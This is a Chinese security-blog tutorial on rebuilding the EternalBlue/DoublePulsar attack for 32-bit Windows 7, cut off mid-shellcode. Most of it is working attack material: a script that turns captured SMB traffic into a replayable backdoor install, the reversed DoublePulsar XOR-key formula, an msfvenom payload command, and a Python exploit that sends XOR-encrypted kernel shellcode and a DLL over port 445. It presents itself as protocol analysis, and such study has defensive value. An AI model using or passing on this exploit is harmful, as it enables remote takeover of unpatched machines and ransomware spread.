【技术分享】EternalBlue之32位exploit编写(一)-安全客

作者：東

预估稿费：400RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

距离shadowbrokers团队放出NSA的这批黑客工具也有两月之久了,其中的一个名叫"永恒之蓝"的漏洞模块被疯狂地在野外利用,相信网友们如果没有经历过WannaCry 勒索软件的淫威,重视度可能也远不如之前刚放出来时,任何人都可以用着fuzzbunch这个工具集成模块去攻击别人,fb.py这个集合了他子目录下的一些exploit被热心网友们玩的不亦乐乎的同时,地下的自由职业者也忙的不可开交各类变种勒索软件不断涌现,当然今天主角也不是勒索软件,今天我们着重从协议上分析一下eternalblue的攻击的数据流，然后试着重放这些数据。

实验环境

网络环境:局域网

攻击ip:192.168.157.129(win7_x86)

靶机ip:192.168.157.131(win7_x86)

工具:NSA的fb.py、wireshark、python、hex editor、

实验步骤

第一步:使用fb.py中的eternalblue模块走一遍正常攻击流程开wireshark把攻击过程的数据截获

接着我们就轻车熟路的打开了shadowbrokers的fb.py 去攻击192.168.157.129 攻击过程我就不阐述了网上很多参考攻击完毕回头就看下wireshark捕捉到的SMB数据包

这里用到的Eternalblue模块这个模块在这个模块执行之前是没有数据的,执行之后wireshark捕捉到了数据

这个说白了就是个利用Eternalblue利用漏洞安装后门的一个过程,接着重新捕获数据我们使用Doublepulsar这个模块,这模块功能定义上类似于meterprete而前面的则属于exploit模块吧

msfvenom -p windows/exec CMD="calc.exe" -f dll > /test.dll这样生成就可以,上面我用Doublepuls注入的dll是用msf生的注入的进程我选择了资源管理器的

这次的数据包明显比上一个少了很多。接着我们着重分析这两个流内的数据。

第二步:分析fb.py动作产生的数据流

我们先来看一下SMB协议的定义

// 8 unsigned bits
typedef unsigned short USHORT;        // 16 unsigned bits
typedef unsigned long ULONG;          // 32 unsigned bits
typedef struct {
   ULONG LowPart;
   LONG HighPart;
} LARGE_INTEGER;                      // 64 bits of data
typedef struct  {
   UCHAR Protocol[4];                // Contains 0xFF,'SMB'
   UCHAR Command;                    // Command code
   union {
       struct {
           UCHAR ErrorClass;         // Error class
           UCHAR Reserved;           // Reserved for future use
           USHORT Error;             // Error code
       } DosError;
       ULONG Status;                 // 32-bit error code
   } Status;
   UCHAR Flags;                      // Flags
   USHORT Flags2;                    // More flags
   union {
       USHORT Pad[6];                // Ensure section is 12 by
       struct {
           USHORT PidHigh;          // High Part of PID
           UCHAR SecuritySignature[8];   // reserved for MAC
      } Extra;
   };
   USHORT Tid;                       // Tree identifier
   USHORT Pid;                       // Caller’s process ID, opaque for
client use
   USHORT Uid;                       // User id
   USHORT Mid;                       // multiplex id
   UCHAR  WordCount;                 // Count of parameter words
} SMB_HEADER;

接着再看下eternalblue数据包中的数据流这么多的会话我用脚本把他们生成了可替换的数据字节并保存起来

win7后门安装的数据流已经有人在github上公开了,方法大同小异吧 follow stream 其实要紧的是能把这步自动化才是极好的二十多个流自己去follow眼睛恐怕要累瞎,写了个不太完善的脚本

import binascii
import struct
pcap_file = "smb3.pcap"
output_file = "BackdoorInstall.replay"
def wf(filename,data):
fp=open(filename,"wb")
fp.write(data)
fp.close()
def rf(filename):
fp=open(filename,"rb")
data=fp.read()
fp.close()
return data
# 分析数据包
def anlyse(all_data):
data_len = len(all_data)
ncount = 0
now_index = 40 #pcap 24,间隔 16，protoheader 54, tcp+ipheader 20+20
array = []
while now_index < data_len:
one_len = struct.unpack(">H",all_data[now_index+16:now_index+18])[0] -40
if(all_data[now_index+34:now_index+36] != "x01xbd"):#不是445表示发送端
data_temp = ""
array_temp = all_data[now_index+54:now_index +54+one_len]
for i in range(one_len):
data_temp = data_temp + "\x" + binascii.b2a_hex(array_temp[i])
array.append("('send',1,b'" + data_temp + "',0.01)rnrn")
else:
array.append("('recv', 1, 0.01)rnrn")
now_index = now_index + one_len + 16 + 54
ncount += 1
print ncount,":",one_len
return array,ncount
if __name__ == "__main__":
array , ncount = anlyse(rf(pcap_file))
data_replay = "('connect', 1, 0.01)rnrn"
data_replay2 = data_replay
j = 1
for i in range(ncount):
data_replay += array[i]
if(array[i].find("send") != -1):#如果是send
data_replay2 = data_replay2 + "#" + str(j) + array[i]
j += 1
else:
data_replay2 += array[i]
data_replay += "('close', 1, 0.01)"
data_replay2 += "('close', 1, 0.01)"
wf(output_file,data_replay)
wf(output_file+".listrec",data_replay2)#这个是记录send顺序的文件
print "over!"

第三步:分析Doublepulsar注入动作产生的数据流并提取

接下来分析Doublepulsar的apc注入部分可以看到七个SMB的request,接着就去搞清其中字段的含义,在我们不知道他每个字段都是什么意思的前提下我们就不用去改他,不是说一点不改,最起码的SMB head length这些基本数据包的知识我们知道了就可以去修改,怎么检测自己的手动发的数据包是否和NSA工具发的包一样呢?一共是7个包对应七个请求,用python发包,然后recv回来的数据和我们用wireshark抓到工具复现的包相同就说明自己包没问题然后接着去发下一条请求再去判断。

#smb 头是32字节 请求包50字节 以下一行30字节 smb版本
First_Request = "x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"

#windows系统版本Second_Request ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"

第三个请求有点问题就是目标ipc主机的ip 因为ip的Length不是固定的所以这里采用chr(len(str_ip))方式来写进NetBIOS

还有一点就是我们如何自定义ip 这里是UNICODE编码注意下所以写了一个转Unicode的方法

def make_unicode_host(org_host):host_len = len(org_host)new_host = ""for i in range(host_len):new_host =new_host + "x00" + org_host[i]return new_host

Third_Request ="x00x00x00"+chr(len(str_ip))+"xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"

Fourth_Request ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x40x69x7Ax00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"

看第五个请求.内容很多看下面的大小是4096个字节猜测smb最多一次就发送4096个字节,下一个请求包和这个请求应该是有联系的。这时候猜测可能就是后门一些操作了而且这些字符显然是加密的

看第六个请求:1800个字节,猜测应该是一个文件传输的结束.文件未出现了出现了“85 79 52 a6 85 79 5a 81”这串字符串我们注入的是dll而熟悉PE文件的人应该知道dll的MZ头是

4D5A,而dll文件是以00 00 00 00 00…结尾。数据包里面没有4D5A这个hex值,推测是把shellcode和dll的hex一块加密大小为 4096+1800

看第六个包设想数据包的加密方式如果是异或那么只要秘钥为7985a15a(小端存储)才能将数据包中的dll尾部数据还原为00 00 00

第四步:多次对比数据包定位用户随机秘钥

有了秘钥那我们用秘钥把前面的shellcode也解密然后再加上我们自己dll再用秘钥加密发送不就可以了么。事实证明也不是这样的密钥是随机生成的

上面提到如果7985a15a是秘钥的话才能将dll尾部数据还原为0 可事实是,每次用NSA工具重现的时候生成的秘钥都是不一样的,而且我也发现个有意思的地方

当秘钥是7985a15a时工具中给你显示出了这样一段数据

这正是我们要找的秘钥。它在工具里面显示了,这时候要知道 fb.py这只是个框架,功能都是由他去调用分目录下的脚本,比如说eternalblue 比如说Doublepulsar,也是fb.py的一个框架

但Doublepulsar不是脚本,它是一个exe,我们就去逆向一下这个exe看看秘钥是怎么计算的

直接搜索XOR_Key然后ctrlX来到引用处F5

回溯v21 经过多次复现对比秘钥发现了在第四次的返回包中signature字段发生了变化其余请求的返回包中的signature字段都为00000000

读到返回包用py切片return smb_data[18:22]把Signature前四个字节取出然后转为小端存储 struct.unpack("<I",get_smb_signature(smb_data))[0]

然后就来到了SUB_402F10函数中v21的处理流程简化了一下程序的处理

x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff  
得到的x就是工具中显示的XOR_Key :xxxxxx 我们还要把他转换成数据包里的秘钥小端变大端 key=struct.pack("<I",int_key)
最终得到的key就是我们要对shellcode+dll的数据加密解密的秘钥了

Seventh_Request="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"

Eighth_Request="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"

第五步:构造完整的exploit

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import time
import ast
import binascii
import struct
HOST ='192.168.110.128'
PORT = 445
dllfile = "x86.dll"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
def Install_Backdoor():
backlog = open("eternalblue.replay").read().split("nn")
backlog = [ast.literal_eval(i) for i in backlog]
connections = []
start = time.time()
for i in backlog:
delta = i[-1] - (start - time.time())
print(i[0], delta)
if delta > 0:
time.sleep(delta)
start = time.time()
if i[0] == "connect":
sock = socket.socket()
sock.connect((HOST , PORT ))
connections.append({"socket":sock,"stream" : i[1]})
if i[0] == "close":
[j['socket'].close() for j in connections if j["stream"] == i[1]]
if i[0] == "send":
[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
if i[0] == "recv":
[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key
"""
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff  # this line was added just to truncate to 32 bits
return x
def make_unicode_host(org_host):
host_len = len(org_host)
new_host = ""
for i in range(host_len):
new_host =new_host + "x00" + org_host[i]
return new_host
def get_smb_signature(smb_data):
return smb_data[18:22]
def get_key(smb_data):
smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
#print "smb_sign:","0x%X"%(smb_sign)
int_key = calculate_doublepulsar_xor_key(smb_sign)
print  "int_key:","0x%X"%(int_key)
key=struct.pack("<I",int_key)
#print "key:",binascii.b2a_hex(key)
return key
def xor_data(org_data , key):
#异或加密
newdata = ""
for i in range(len(org_data)):
newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))
#print binascii.b2a_hex(newdata)
return newdata
def make_smb_request(send_data , key):
data_len = len(send_data)
array = []
ncount = data_len / 4096
if (data_len % 4096) > 0:
ncount += 1
make_data =""
for i in range(ncount):
if i < ncount-1:
smb_Length = struct.pack(">H",4096 +32 +34 + 12)
#print binascii.b2a_hex(smb_Length)
totalDataCount = struct.pack("<H",4096)
byteCount = struct.pack("<H",4096 + 13)
make_data = send_data[i*4096:(i+1)*4096]
else:
smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)
totalDataCount = struct.pack("<H",data_len - 4096*i)
byteCount = struct.pack("<H",data_len - 4096*i+ 13)
make_data = send_data[i*4096:]
netBIOS_header = "x00x00"+ smb_Length
smb_header = "xFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00"
transRequest_header = "x0Fx0Cx00"+ totalDataCount +"x01x00x00x00x00x00x00x00xE5x69x7Ax00x00x00x0Cx00x42x00"+totalDataCount+"x4Ex00x01x00x0Ex00"+ byteCount +"x00"
data_header = "x08x27x00x00"+totalDataCount+"x00x00x00"+chr(i*0x10)+"x00x00"
print "data_header:",binascii.b2a_hex(data_header)
print len(data_header)
array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
return array , ncount
if __name__ == "__main__":
#安装后门
Install_Backdoor()
#print "------Install backdoor done!------"
#上传并执行dll
#smb 头是32字节 请求包50字节 ，以下一行30字节
#smb版本
step_0_data = "x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"
s.sendall(step_0_data)
data = s.recv(1024)
print 0,data
#windows系统版本
step_1_data ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"
s.sendall(step_1_data)
data = s.recv(1024)
print 1,data
#对方ip地址 x.x.x.x
#str_ip = "xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
#step_2_data ="x00x00x00"+chr(len(str_ip))+ str_ip
step_2_data ="x00x00x00"+chr(len(str_ip))+"xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
print binascii.b2a_hex(step_2_data)
print step_2_data
s.sendall(step_2_data)
data = s.recv(1024)
print 2,data
#验证得到signature
step_3_data ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x40x69x7Ax00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"
              
s.sendall(step_3_data)
response = s.recv(1024)
print 3,response
#print 3,binascii.b2a_hex(response)
key = get_key(response)
#shellcode+dll
kernel_shellcode ="x8Bx44x24x04x60x89xC5x81xECxB4x00x00x00x89xE7xB8x10x00x00x00x89x87x9Cx00x00x00xB8x40x00x00x00x89x87xA0x00x00x00xB8x98x01x00x00x89x87xA4x00x00x00xB8xBDxA2x37x83x89x87xA8x00x00x00xB8x00x00x00x00x89x87xACx00x00x00xB8x00x00x00x00x89x87xB0x00x00x00xB8x88x01x00x00x89x87x94x00x00x00x64x8Bx1Dx38x00x00x00x66x8Bx43x06xC1xE0x10x66x8Bx03x66x25x00xF0x8Bx18x66x81xFBx4Dx5Ax74x07x2Dx00x10x00x00xEBxF0x89x47x4Cx89xC3xB9x94x01x69xE3xE8x8Bx03x00x00x85xC0x0Fx84x8Ax02x00x00x89x07xB9x85x54x83xF0xE8x77x03x00x00x85xC0x0Fx84x76x02x00x00x89x47x04xB9x84x06xE7xF9xE8x62x03x00x00x85xC0x0Fx84x61x02x00x00x89x47x08xB9xF9x30xACxA4xE8x4Dx03x00x00x85xC0x0Fx84x4Cx02x00x00x89x47x0CxB9xAExB8x9Fx5DxE8x38x03x00x00x85xC0x0Fx84x37x02x00x00x89x47x10xB9xF6x10x00xB8xE8x23x03x00x00x85xC0x0Fx84x22x02x00x00x89x47x14xB9xCAxD6x5FxD2xE8x0Ex03x00x00x85xC0x0Fx84x0Dx02x00x00x89x47x18xB9xEEx88x6Ex0AxE8xF9x02x00x00x85xC0x0Fx84xF8x01x00x00x89x47x1CxB9xCEx0CxB5xDBxE8xE4x02x00x00x85xC0x0Fx84xE3x01x00x00x89x47x20xB9x02xB8x9BxD2xE8xCFx02x00x00x85xC0x0Fx84xCEx01x00x00x89x47x24xB9x09x89x30xDFxE8xBAx02x00x00x85xC0x0Fx84xB9x01x00x00x89x47x28xB9x7DxE3x4DxA0xE8xA5x02x00x00x85xC0x0Fx84xA4x01x00x00x89x47x2CxB9xDFx81x14x3ExE8x90x02x00x00x85xC0x0Fx84x8Fx01x00x00x89x47x30xB9xBAx1Ex03xA0xE8x7Bx02x00x00x85xC0x0Fx84x7Ax01x00x00x89x47x34xB9x4FxFExEBx15xE8x66x02x00x00x85xC0x0Fx84x65x01x00x00x89x47x38xB9xCAxBExD0xECxE8x51x02x00x00x85xC0x0Fx84x50x01x00x00x89x47x3CxB9x79xA8x24x11xE8x3Cx02x00x00x85xC0x0Fx84x3Bx01x00x00x89x47x40xB9x37xC6x90x4FxE8x27x02x00x00x85xC0x0Fx84x26x01x00x00x89x47x44xB9x6CxE7xFEx10xE8x12x02x00x00x85xC0x0Fx84x11x01x00x00x89x47x48xE8xCFx01x00x00x8Bx87x98x00x00x00x85xC0x0Fx84xFBx00x00x00xE8x02x01x00x00x85xC0x0Fx84xEEx00x00x00x89x47x58x8Dx8Dx91x05x00x00xFFx31x6Ax40x68x00x10x00x00x51x6Ax00xC7x47x54x00x00x00x00x8Dx4Fx54x51x6AxFFxFFx57x10x59x85xC0x0Fx85xB3x00x00x00x57x8DxB5x95x05x00x00x8Bx7Fx54xF3xA4x5FxB8x3Cx00x00x00x8Bx8Fx94x00x00x00x03x4Fx58x89xCEx8Bx11x39xD6x0Fx84x8Cx00x00x00x2Bx97x98x00x00x00x50x51x52x52xFFx57x48x5Ax59x85xC0x74x2Cx51xB9xA8x01x00x00x01xC8x85xC9x59x74x06x8Bx00x85xC0x74x19x58x01xC2x50x31xC0x3Cx01x74x0Ax8Bx02x0FxBAxE0x05x72x0CxEBx05x80x3Ax01x74x05x58x8Bx09xEBxB2x58x29xC2x89x97x8Cx00x00x00x6Ax50x6Ax00xFFx17x85xC0x74x42x89x87x90x00x00x00xC7x40x40xC2x14x00x00x6Ax00x6Ax01xFFx77x54x6Ax00x8Dx50x40x52x6Ax00xFFxB7x8Cx00x00x00x50xFFx57x14x6Ax00x6Ax00x6Ax00xFFxB7x90x00x00x00xFFx57x18x8Dx4Fx5Cx51xFFx57x0Cx8Bx4Fx58xFFx57x3Cx81xC4xB4x00x00x00x61x31xC0xC2x04x00x51x56x57x53xB9x08x00x00x00x51x8Dx77x58x56x51xFFx57x30x85xC0x0Fx85x83x00x00x00x8Bx77x58x8Bx9FxA4x00x00x00x8Bx04x1Ex83xF8x02x7Cx6Dx56xFFx57x34xE8x6Cx01x00x00x8Bx8FxA8x00x00x00x39xC8x75x5Ax8Dx4Fx5Cx51x56xFFx57x08x56xFFx57x38x85xC0x74x3Cx8Bx9Fx9Cx00x00x00x8Bx04x18x85xC0x74x2Fx31xC9x8Bx9FxA0x00x00x00x66x8Bx0Cx18x8Bx44x18x04x85xC0x74x1Bx8Bx9FxB0x00x00x00x29xD9x7Cx11x01xC8xE8x5Fx01x00x00x8Bx8FxACx00x00x00x39xC8x74x24xC7x47x58x00x00x00x00x8Dx4Fx5Cx51xFFx57x0Cx89xF1xFFx57x3Cx59x81xF9x00x00x01x00x7Fx0Dx83xC1x04xE9x5BxFFxFFxFFx59x89xF0xEBx02x31xC0x5Bx5Fx5Ex59xC3x60xFFx57x44x89xC6x8Bx87x94x00x00x00x01xC6xFFx57x40x89xF1x39xF0x77x14x8Dx90x80x02x00x00x39xF2x72x0Ax29xC6x89xB7x98x00x00x00xEBx06x8Bx36x39xCEx75xE2x61xC3x53x52x51x57x55x89xE5x83xECx18x89xCFx89xD8x89x45xFCxE8x7Fx00x00x00x85xC0x74x6Ex89x45xF8xE8xF3x00x00x00x89x45xF4x8Bx45xFCx8Bx4DxF8xE8x16x01x00x00x85xC0x74x54x89x45xF0x8Bx45xFCx8Bx4DxF8xE8x0Cx01x00x00x85xC0x74x42x89x45xECx8Bx45xFCx8Bx4DxF8xE8x02x01x00x00x85xC0x74x30x89x45xE8x8Bx45xFCx89xF9x8Bx55xECx8Bx5DxF4xE8xB0x00x00x00x83xF8xFFx74x21x89xC1x8Bx45xE8xE8xE4x00x00x00x66x89xC2x8Bx45xFCx8Bx4DxF0xE8xDEx00x00x00x83xC4x18x5Dx5Fx59x5Ax5BxC3x31xC0xEBxF3x56x89xC6x83xC6x3Cx8Bx36x01xC6x66x81x3Ex50x45x75x09x83xC6x78x8Bx36x01xF0x5ExC3x31xC0xEBxFAx56x51x57x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74x05x01xC8x46xEBxE9x5Fx59x5ExC3x56x57x52x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xD2x8Ax16x01xD0x46xE2xEEx5Ax5Fx5ExC3x56x51x57x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74xC6x01xC8x46x46xEBxE8x5Fx59x5ExC3x83xC0x18x8Bx00xC3x57x56x51x31xFFx89xC6x39xDFx74x19x8Bx04xBAx01xF0xE8x83xFFxFFxFFx39xC8x74x07x47xEBxEBx59x5Ex5FxC3x89xF8xEBxF8xB8xFFxFFxFFxFFxEBxF1x83xC1x1Cx8Bx09x01xC8xC3x83xC1x20x8Bx09x01xC8xC3x83xC1x24x8Bx09x01xC8xC3xD1xE1x01xC8x66x8Bx00xC3x81xE2xFFxFFx00x00xC1xE2x02x01xD1x8Bx09x01xC8xC3x70x21x00x00x60x89xE0x81xECx00x04x00x00xE9x52x0Dx00x00x5Dx8DxB4x24x00x02x00x00x89x06x31xFFx64x8Bx07x89x46x04x8Dx55xC8x31xC9x49x64xFFx37x56x55x51x52x52x64xFFx37x64x89x27x8Dx7Dx9Ax56x83xC6x08x31xC9x8Ax0Fx84xC9x74x30x47x8Bx17x83xC7x04x8Bx1Fx83xC7x04x53x52xE8x05x0Cx00x00x51x0FxB6x0Fx47x85xC9x59x75x08x85xC0x0Fx84xEDx0Bx00x00x89x06x83xC6x04x49x85xC9x75xD8xEBxC8x5Ex56x83xECx1Cx31xC0x89x44x24x18x89x44x24x14x89x44x24x10x89x44x24x0Cx89x44x24x08x64x8Bx1Dx18x00x00x00x8Bx5Bx30x8Bx5Bx0Cx8Bx5Bx14x8Bx73x10x89xF2x56x89xF7x83xC6x3Cx03x3Ex5Ex53x89xFBx0FxB7x4Bx06x0FxB7x43x14x5Bx85xC9x0Fx84xE3x00x00x00x89x4Cx24x04x57x83xC7x18x83xC7x60x8Bx0Fx85xC9x74x02x01xF1x89x4Cx24x18x8Bx4Fx04x89x4Cx24x1Cx5Fx01xC7x83xC7x18x89x3Cx24x89xF8x83xC0x24x8Bx00x25x00x00x00x20x85xC0x0Fx84x8Cx00x00x00x89xF9x83xC1x08x83xC7x0Cx8Bx09x8Bx3Fx01xF7x83xF9x0Dx7Cx79x83xE9x0Dx83xC7x07x8Bx44x24x14x85xC0x74x16x39xC7x72x12x03x44x24x18x39xC7x73x0Ax01xF9x39xC1x76x59x29xC1x89xC7x8Dx44x24x0Cx50xE8x0Dx0Ax00x00x85xC0x74x09xE8x7Dx0Ax00x00x85xC0x75x06x47x49xE3x3AxEBxC5x83xF8x02x74x0Dx8Bx44x24x08x85xC0x75xEDxB8x01x00x00x00x89x44x24x08x56x8Bx74x24x20x89x7Ex20x8Bx44x24x14x89x46x24x8Bx44x24x10x89x46x28x5Ex8Bx44x24x08x83xF8x01x74xC4xEBx40x8Bx3Cx24x8Bx4Cx24x04x83xC7x28x83xE9x01x85xC9x89x3Cx24x89x4Cx24x04x0Fx85x44xFFxFFxFFx31xC0x8Bx1Bx8Bx73x10x39xC6x74xF5x39xF2x74x05xE9xECxFExFFxFFx8Bx04x24x85xC0x75x09x83xC4x1Cx5ExE9x88x0Ax00x00x83xC4x1Cx5Ex56x89xF2x89xF7x83xC6x08x89xF2x83xC7x2CxB9x06x00x00x00xF3xA5x89xD7x8DxB5x03xFDxFFxFFxB9x06x00x00x00x89x37x83xC7x04x83xC6x04xE2xF6x5ExBAx40x00x00x00x52xBAx00x30x00x00x52xFFx75x03x6Ax00xFFx56x08x85xC0x0Fx84x53x08x00x00x89xC3x56x8Bx4Dx03x8Dx75x0Bx89xDFxF3xA4x5Ex89x5Ex44x8Bx45x03x89x46x48x8Bx4Dx03x8Dx7Dx0Bx31xC0xF3xAAx8Dx85x00xFBxFFxFFx89x85xCFxF6xFFxFFx8Dx85x07xFBxFFxFFx89x85xD3xF6xFFxFFx8Dx85x38xFBxFFxFFx89x85xDBxF6xFFxFFx8Dx85x98xFAxFFxFFx89x85xDFxF6xFFxFFx8Bx7Ex28x8Dx85x17xFBxFFxFFxF7xC7x10x00x00x00x75x01x40x89x85xD7xF6xFFxFFx55x8DxADx6AxF6xFFxFFx8Bx7Ex44xE8xBDx01x00x00x85xC0x0Fx85xE5x00x00x00xE8x17x02x00x00x85xC0x0Fx84xD8x00x00x00x89x45x10x8Bx7Dx04x83xC7x34x8Bx3Fx8Bx45x10x29xF8x89x45x14xE8x2Ex02x00x00x85xC0x0Fx85xB8x00x00x00xE8x83x02x00x00x85xC0x0Fx85xABx00x00x00xE8x75x03x00x00x85xC0x0Fx85x9Ex00x00x00xE8x7Ax03x00x00x85xC0x0Fx85x91x00x00x00xE8x23x04x00x00x85xC0x0Fx85x84x00x00x00xE8xE6x04x00x00x85xC0x75x7Bx8Bx45x10x89x46x4Cx8Bx45x0Cx89x46x50x5Dx8Bx45x07x89x46x54x8Bx7Ex4Cx8Bx56x50x83xC2x00x8Bx12x85xD2x74x4Bx01xD7x8Bx46x54x89xFAx83xC2x10x8Bx12x29xD0x89xFAx83xC2x14x8Bx12x83xF8x00x7Cx31x39xD0x7Dx2Dx89xFAx83xC2x1Cx8Bx12x03x56x4CxC1xE0x02x01xC2x8Bx12x03x56x4Cx57x89xE7x8Bx46x44x8Bx5Ex48x53x50xB8x02x00x00x00x50xFFxD2x89xFCx5Fx89x46x58x55x8DxADx6AxF6xFFxFFxE8x4Bx04x00x00xEBx00x8Bx7Dx10x85xFFx74x4Ax8Dx45x61x50xB8x40x00x00x00x50x8Bx45x28x50x8Bx45x10x50xFFx56x1Cx85xC0x74x07x8Bx4Dx28x31xC0xF3xAAx8Bx7Dx10x68x00x80x00x00x6Ax00x57xFFx56x0Cx8Bx7Dx30x85xFFx74x15x8Bx4Dx34x31xC0xF3xAAx8Bx7Dx30x68x00x80x00x00x6Ax00x57xFFx56x0Cx5DxE9x97x06x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xB8xFFxFFxFFxFFxE9x50x09x00x00x6Dx73x76x63x72x74x2Ex64x6Cx6Cx00x6Dx73x76x63x72x74x64x2Ex64x6Cx6Cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x57x52x53x89x7Dx00x89xFAx83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax75x4Ax89xFAx83xC2x3Cx8Bx1Ax01xDFx89x7Dx04x89xFAx83xC2x00x8Bx1Ax81xFBx50x45x00x00x75x2Fx89xFAx83xC2x18x66x8Bx1Ax66x81xFBx0Bx01x75x20x89xFAx83xC2x14x31xDBx66x8Bx1Ax89xFAx83xC2x18x01xDAx89x55x08x89xFAx83xC2x78x89x55x0Cx31xC0xEBx04x31xC0xF7xD0x5Bx5Ax5FxC3x57x52x53x8Bx7Dx04x83xC7x50x8Bx1Fx89x5Dx28x8Bx7Dx04x83xC7x34x8Bx17x6Ax40x68x00x30x00x00x53x52xFFx56x08x85xC0x75x0Dx6Ax40x68x00x30x00x00x53x6Ax00xFFx56x08x5Bx5Ax5FxC3x57x52x53x51x56x8Bx76x44x8Bx7Dx10x8Bx5Dx04x83xC3x54x8Bx0BxF3xA4x5Ex8Bx7Dx04x83xC7x06x31xDBx66x8Bx1Fx31xD2x39xD3x74x2